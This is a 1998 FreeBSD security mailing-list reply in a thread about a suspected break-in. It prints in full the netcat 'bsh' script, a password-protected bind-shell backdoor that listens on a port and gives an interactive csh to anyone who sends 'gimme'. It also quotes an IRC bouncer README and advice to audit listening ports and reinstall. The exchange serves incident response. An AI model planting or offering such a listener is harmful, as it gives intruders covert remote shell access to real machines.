Date: Thu, 27 Aug 1998 20:21:41 -0700 (PDT) From: "Jan B. Koum " <jkb@best.com> To: "Timothy R. Platt" <tplatt@nethampton.com> Cc: security@FreeBSD.ORG Subject: Re: post breakin log Message-ID: <Pine.BSF.4.02A.9808272019550.13342-100000@shell6.ba.best.com> In-Reply-To: <v04003a03b20b8150c04c@[204.141.112.245]>
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Ugh.. you are right. I was thinking of bsh (I guess they both
start with b FWIW).
0wn# pwd
/usr/home/jkb/nc/scripts
0wn# cat bsh
#! /bin/sh
## a little wrapper to "password" and re-launch a shell-listener.
## Arg is taken as the port to listen on. Define "NC" to point wherever.
NC=nc
case "$1" in
?* )
LPN="$1"
export LPN
sleep 1
echo "-l -p $LPN -e $0" | $NC > /dev/null 2>&1 &
echo "launched on port $LPN"
exit 0
;;
esac
# here we play inetd
echo "-l -p $LPN -e $0" | $NC > /dev/null 2>&1 &
while read qq ; do
case "$qq" in
# here's yer password
gimme )
cd /
exec csh -i
;;
esac
done
-- Yan
www.best.com/~jkb/ Unix users of the world unite:
www.{free,open,net}bsd.org | www.linux.org | www.apache.org | www.perl.com
"Turn up the lights, I don't want to go home in the dark."
On Thu, 27 Aug 1998, Timothy R. Platt wrote:
>Huh? From the bnc distribution README (bnc is in the FreeBSD ports
>collection, btw):
>
>1.INTRODUCTION
> BNC is a simple program designed to Proxy irc sessions.
> It is user configurable using the file bnc.conf and includes
> NOW INCLUDES VIRTUAL HOSTS!!! ;P
>
>2.COMPILATION
> I would tell you how to un-tar/gz this file, but your
> reading this so why would you need help :-)
> To compile bnc simply type:
> make
>
>3.CONFIGURATION
> The configuration file give BNC the nessesary info to
> process such as the port to bind to and what port to request
> when a conn is requested, also passwords and maxusers.
>
>4.LOADING
> type:
> bnc
>
>5.CLIENT SIDE
> When using various clients you connect to the server in
> which the daemon is ran. In ircii and other clients you will
> have to give your password by typing /quote pass <password> to
> continue, in Mirc you can simply /server bnc.server.net port pass
> to connect. Once your pass is ok'ed you can tell it to connect
> to an irc server by typing /quote conn [irc.server.net] <port> <pass>.
>
> added /quote VIP [Virtual.host] for on the fly ip switching. It must
> be done before you /quote conn.
>
>
>6.GNU
> Yeah you know how this works so just realize this is gnu.
>
> multi-user, passwords, and other basic necessities.
[humiliating stuff sniped]
>
>
>This is the only bnc I've seen..
>
>Tim
>
>
>> Arggh! I just remembered. Gary is correct If you download netcat
>>it comes with some scripts, bnc is one of them. It will listen on a port
>>and upon connect will drop you in to shell as root. Please do:
>>
>># netstat -an | grep LIST
>>
>>and check to make sure you know what all the ports are. If I'd be you I'd
>>re-install since who knows what you at going with crontab, at, mail
>>aliases, etc.
>>
>>-- Yan
>>
>>www.best.com/~jkb/ Unix users of the world unite:
>>www.{free,open,net}bsd.org | www.linux.org | www.apache.org | www.perl.com
>>"Turn up the lights, I don't want to go home in the dark."
>>
>
>
>
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